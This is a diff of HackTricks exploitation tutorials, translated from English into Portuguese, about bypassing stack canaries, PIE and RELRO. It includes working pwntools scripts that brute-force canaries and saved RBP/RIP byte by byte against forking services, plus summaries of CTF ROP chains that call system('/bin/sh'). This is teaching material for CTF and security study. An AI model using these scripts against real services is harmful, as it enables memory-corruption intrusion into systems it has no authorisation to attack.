**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
**Se você está enfrentando um binário protegido por um canário e PIE (Executable Independente de Posição), provavelmente precisa encontrar uma maneira de contorná-los.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
> Note que **`checksec`** pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.\
> No entanto, você pode notar isso manualmente se encontrar que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair.
## Brute-Force Addresses
## Endereços de Força Bruta
In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
Para **contornar o PIE**, você precisa **vazar algum endereço**. E se o binário não estiver vazando nenhum endereço, o melhor a fazer é **forçar o RBP e o RIP salvos na pilha** na função vulnerável.\
Por exemplo, se um binário está protegido usando tanto um **canário** quanto **PIE**, você pode começar forçando o canário, então os **próximos** 8 Bytes (x64) serão o **RBP** salvo e os **próximos** 8 Bytes serão o **RIP** salvo.
> [!TIP]
> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
> Supõe-se que o endereço de retorno dentro da pilha pertença ao código binário principal, que, se a vulnerabilidade estiver localizada no código binário, geralmente será o caso.
Para forçar o RBP e o RIP do binário, você pode descobrir que um byte adivinhado válido está correto se o programa produzir alguma saída ou simplesmente não travar. A **mesma função** fornecida para forçar o canário pode ser usada para forçar o RBP e o RIP:
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
@ -67,30 +66,25 @@ print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
A última coisa que você precisa para derrotar o PIE é calcular **endereços úteis a partir dos endereços vazados**: o **RBP** e o **RIP**.
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
A partir do **RBP**, você pode calcular **onde você está escrevendo seu shell na pilha**. Isso pode ser muito útil para saber onde você vai escrever a string _"/bin/sh\x00"_ dentro da pilha. Para calcular a distância entre o RBP vazado e seu shellcode, você pode simplesmente colocar um **breakpoint após vazar o RBP** e verificar **onde seu shellcode está localizado**, então, você pode calcular a distância entre o shellcode e o RBP:
```python
INI_SHELLCODE = RBP - 1152
```
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
A partir do **RIP**, você pode calcular o **endereço base do binário PIE**, que é o que você precisará para criar uma **cadeia ROP válida**.\
Para calcular o endereço base, basta fazer `objdump -d vunbinary` e verificar os últimos endereços da desassemblagem:
![](<../../../images/image (479).png>)
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
Nesse exemplo, você pode ver que apenas **1 Byte e meio é necessário** para localizar todo o código, então, o endereço base nesta situação será o **RIP vazado, mas terminando em "000"**. Por exemplo, se você vazou `0x562002970ecf`, o endereço base é `0x562002970000`
```python
elf.address = RIP - (RIP & 0xfff)
```
## Melhorias
## Improvements
De acordo com [**algumas observações deste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), é possível que ao vazar os valores de RBP e RIP, o servidor não trave com alguns valores que não são os corretos e o script BF pense que obteve os bons. Isso ocorre porque é possível que **alguns endereços simplesmente não o quebrem mesmo que não sejam exatamente os corretos**.
According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**.
According to that blog post it's recommended to add a short delay between requests to the server is introduced.
De acordo com esse post no blog, é recomendado adicionar um pequeno atraso entre as requisições ao servidor.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,32 +4,30 @@
## Relro
**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses).
**RELRO** significa **Relocation Read-Only**, e é um recurso de segurança usado em binários para mitigar os riscos associados a sobrescritas da **GOT (Global Offset Table)**. Existem dois tipos de proteções **RELRO**: (1) **Partial RELRO** e (2) **Full RELRO**. Ambos reordenam a **GOT** e **BSS** de arquivos ELF, mas com resultados e implicações diferentes. Especificamente, eles colocam a seção **GOT** _antes_ da **BSS**. Ou seja, **GOT** está em endereços mais baixos do que **BSS**, tornando impossível sobrescrever entradas da **GOT** ao transbordar variáveis na **BSS** (lembre-se de que a escrita na memória ocorre de endereços mais baixos para mais altos).
Let's break down the concept into its two distinct types for clarity.
Vamos dividir o conceito em seus dois tipos distintos para clareza.
### **Partial RELRO**
**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities.
**Partial RELRO** adota uma abordagem mais simples para aumentar a segurança sem impactar significativamente o desempenho do binário. Partial RELRO torna **a .got somente leitura (a parte não-PLT da seção GOT)**. Tenha em mente que o restante da seção (como a .got.plt) ainda é gravável e, portanto, sujeito a ataques. Isso **não impede que a GOT** seja abusada **por vulnerabilidades de escrita arbitrária**.
Note: By default, GCC compiles binaries with Partial RELRO.
Nota: Por padrão, o GCC compila binários com Partial RELRO.
### **Full RELRO**
**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime.
**Full RELRO** aumenta a proteção ao **tornar toda a GOT (tanto .got quanto .got.plt) e a seção .fini_array** completamente **somente leitura.** Uma vez que o binário é iniciado, todos os endereços de função são resolvidos e carregados na GOT, então, a GOT é marcada como somente leitura, efetivamente prevenindo quaisquer modificações durante a execução.
However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries.
It's possible to see if Full RELRO is **enabled** in a binary with:
No entanto, a desvantagem do Full RELRO está em termos de desempenho e tempo de inicialização. Como precisa resolver todos os símbolos dinâmicos na inicialização antes de marcar a GOT como somente leitura, **binários com Full RELRO habilitado podem experimentar tempos de carregamento mais longos**. Essa sobrecarga adicional na inicialização é a razão pela qual o Full RELRO não é habilitado por padrão em todos os binários.
É possível verificar se o Full RELRO está **habilitado** em um binário com:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## Bypass
If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution.
Se o Full RELRO estiver habilitado, a única maneira de contorná-lo é encontrar outra forma que não precise escrever na tabela GOT para obter execução arbitrária.
Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
Note que **o GOT da LIBC geralmente é Partial RELRO**, então pode ser modificado com uma escrita arbitrária. Mais informações em [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,72 +2,72 @@
{{#include ../../../banners/hacktricks-training.md}}
## **StackGuard and StackShield**
## **StackGuard e StackShield**
**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**.
**StackGuard** insere um valor especial conhecido como **canário** antes do **EIP (Extended Instruction Pointer)**, especificamente `0x000aff0d` (representando null, newline, EOF, carriage return) para proteger contra estouros de buffer. No entanto, funções como `recv()`, `memcpy()`, `read()`, e `bcopy()` permanecem vulneráveis, e não protege o **EBP (Base Pointer)**.
**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables.
**StackShield** adota uma abordagem mais sofisticada do que o StackGuard, mantendo uma **Global Return Stack**, que armazena todos os endereços de retorno (**EIPs**). Essa configuração garante que qualquer estouro não cause danos, pois permite uma comparação entre os endereços de retorno armazenados e os reais para detectar ocorrências de estouro. Além disso, o StackShield pode verificar o endereço de retorno contra um valor limite para detectar se o **EIP** aponta fora do espaço de dados esperado. No entanto, essa proteção pode ser contornada por técnicas como Return-to-libc, ROP (Return-Oriented Programming), ou ret2ret, indicando que o StackShield também não protege variáveis locais.
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure.
Esse mecanismo coloca um **canário** antes do **EBP**, e reorganiza variáveis locais para posicionar buffers em endereços de memória mais altos, impedindo que eles sobrescrevam outras variáveis. Ele também copia de forma segura os argumentos passados na pilha acima das variáveis locais e usa essas cópias como argumentos. No entanto, não protege arrays com menos de 8 elementos ou buffers dentro de uma estrutura de usuário.
The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`.
O **canário** é um número aleatório derivado de `/dev/urandom` ou um valor padrão de `0xff0a0000`. Ele é armazenado em **TLS (Thread Local Storage)**, permitindo que espaços de memória compartilhados entre threads tenham variáveis globais ou estáticas específicas da thread. Essas variáveis são inicialmente copiadas do processo pai, e os processos filhos podem alterar seus dados sem afetar o pai ou irmãos. No entanto, se um **`fork()` for usado sem criar um novo canário, todos os processos (pai e filhos) compartilham o mesmo canário**, tornando-o vulnerável. Na arquitetura **i386**, o canário é armazenado em `gs:0x14`, e em **x86_64**, em `fs:0x28`.
This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity.
Essa proteção local identifica funções com buffers vulneráveis a ataques e injeta código no início dessas funções para colocar o canário, e no final para verificar sua integridade.
When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling.
Quando um servidor web usa `fork()`, ele permite um ataque de força bruta para adivinhar o canário byte a byte. No entanto, usar `execve()` após `fork()` sobrescreve o espaço de memória, negando o ataque. `vfork()` permite que o processo filho execute sem duplicação até que tente escrever, momento em que uma duplicata é criada, oferecendo uma abordagem diferente para a criação de processos e manipulação de memória.
### Lengths
### Comprimentos
In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.**
Em binários `x64`, o cookie do canário é um **`0x8`** byte qword. Os **primeiros sete bytes são aleatórios** e o último byte é um **byte nulo.**
In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.**
Em binários `x86`, o cookie do canário é um **`0x4`** byte dword. Os **primeiros três bytes são aleatórios** e o último byte é um **byte nulo.**
> [!CAUTION]
> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**.
> O byte menos significativo de ambos os canários é um byte nulo porque será o primeiro na pilha vindo de endereços mais baixos e, portanto, **funções que leem strings pararão antes de lê-lo**.
## Bypasses
**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
**Vazar o canário** e depois sobrescrevê-lo (por exemplo, estouro de buffer) com seu próprio valor.
- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time:
- Se o **canário for forkado em processos filhos**, pode ser possível **forçar** um byte de cada vez:
{{#ref}}
bf-forked-stack-canaries.md
{{#endref}}
- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it:
- Se houver algum **vazamento interessante ou vulnerabilidade de leitura arbitrária** no binário, pode ser possível vazá-lo:
{{#ref}}
print-stack-canary.md
{{#endref}}
- **Overwriting stack stored pointers**
- **Sobrescrevendo ponteiros armazenados na pilha**
The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check:
A pilha vulnerável a um estouro de pilha pode **contém endereços para strings ou funções que podem ser sobrescritos** para explorar a vulnerabilidade sem precisar alcançar o canário da pilha. Verifique:
{{#ref}}
../../stack-overflow/pointer-redirecting.md
{{#endref}}
- **Modifying both master and thread canary**
- **Modificando tanto o canário mestre quanto o da thread**
A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
Um estouro de buffer em uma função com threads protegida com canário pode ser usado para **modificar o canário mestre da thread**. Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são os mesmos (embora modificados).
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Além disso, um estouro de buffer em uma função com threads protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canário) via um **bof na pilha** de uma thread.\
Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são os mesmos (embora modificados).\
Esse ataque é realizado na descrição: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
Verifique também a apresentação de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, ela também é gerada por `mmap`, de acordo com isso, o que pode permitir o estouro como mostrado na descrição anterior.
- **Modify the GOT entry of `__stack_chk_fail`**
- **Modificar a entrada GOT de `__stack_chk_fail`**
If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified.
Se o binário tiver Partial RELRO, então você pode usar uma escrita arbitrária para modificar a **entrada GOT de `__stack_chk_fail`** para ser uma função dummy que não bloqueia o programa se o canário for modificado.
This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
Esse ataque é realizado na descrição: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## References
## Referências
- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

View File

@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
**Se você está enfrentando um binário protegido por um canário e PIE (Executable Independente de Posição), provavelmente precisa encontrar uma maneira de contorná-los.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
> Note que **`checksec`** pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.\
> No entanto, você pode notar isso manualmente se descobrir que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair.
## Brute force Canary
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
A melhor maneira de contornar um canário simples é se o binário for um programa **que cria processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**.
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
Então, a melhor maneira de contornar o canário é apenas **forçá-lo brute-force caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado corretamente e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outra situação** poderia ser usando um **try/except**):
### Example 1
This example is implemented for 64bits but could be easily implemented for 32 bits.
### Exemplo 1
Este exemplo é implementado para 64 bits, mas poderia ser facilmente implementado para 32 bits.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
@ -58,43 +57,41 @@ print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Exemplo 2
### Example 2
This is implemented for 32 bits, but this could be easily changed to 64bits.\
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
Isso é implementado para 32 bits, mas isso pode ser facilmente alterado para 64 bits.\
Também note que para este exemplo o **programa esperava primeiro um byte para indicar o tamanho da entrada** e o payload.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
@ -104,18 +101,17 @@ target = process('./feedme')
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Threads
Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.&#x20;
Threads do mesmo processo também **compartilharão o mesmo token canário**, portanto será possível **forçar um canário** se o binário gerar uma nova thread toda vez que um ataque acontecer.&#x20;
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Além disso, um **overflow de buffer em uma função com threads** protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS está armazenado (e, portanto, o canário) através de um **bof na pilha** de uma thread.\
Como resultado, a mitigação é inútil porque a verificação é usada com dois canários que são iguais (embora modificados).\
Este ataque é realizado na descrição: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
Confira também a apresentação de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, ela também é gerada por `mmap`, de acordo com isso, o que pode permitir o overflow como mostrado na descrição anterior.
## Other examples & references
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
- 64 bits, no PIE, nx, BF canary, escreva em alguma memória um ROP para chamar `execve` e pule lá.

View File

@ -2,32 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}}
## Enlarge printed stack
## Aumentar a pilha impressa
Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.
Imagine uma situação onde um **programa vulnerável** a estouro de pilha pode executar uma função **puts** **apontando** para **parte** do **estouro de pilha**. O atacante sabe que o **primeiro byte do canário é um byte nulo** (`\x00`) e o restante do canário são **bytes aleatórios**. Então, o atacante pode criar um estouro que **sobrescreve a pilha até apenas o primeiro byte do canário**.
Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).
Em seguida, o atacante **chama a funcionalidade puts** no meio do payload que irá **imprimir todo o canário** (exceto pelo primeiro byte nulo).
With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session).
Com essa informação, o atacante pode **elaborar e enviar um novo ataque** conhecendo o canário (na mesma sessão do programa).
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.
Obviamente, essa tática é muito **restrita** já que o atacante precisa ser capaz de **imprimir** o **conteúdo** de seu **payload** para **exfiltrar** o **canário** e então ser capaz de criar um novo payload (na **mesma sessão do programa**) e **enviar** o **verdadeiro estouro de buffer**.
**CTF examples:**&#x20;
**Exemplos de CTF:**&#x20;
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 bits, ASLR habilitado mas sem PIE, o primeiro passo é preencher um estouro até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts e vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')`
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system)
- 32 bits, ARM, sem relro, canário, nx, sem pie. Estouro com uma chamada para puts nele para vazar o canário + ret2lib chamando `system` com uma cadeia ROP para pop r0 (arg `/bin/sh`) e pc (endereço de system)
## Arbitrary Read
## Leitura Arbitrária
With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in:
Com uma **leitura arbitrária** como a fornecida por **strings** de formato, pode ser possível vazar o canário. Confira este exemplo: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) e você pode ler sobre abusar de strings de formato para ler endereços de memória arbitrários em:
{{#ref}}
../../format-strings/
{{#endref}}
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- This challenge abuses in a very simple way a format string to read the canary from the stack
- Este desafio abusa de uma maneira muito simples uma string de formato para ler o canário da pilha
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
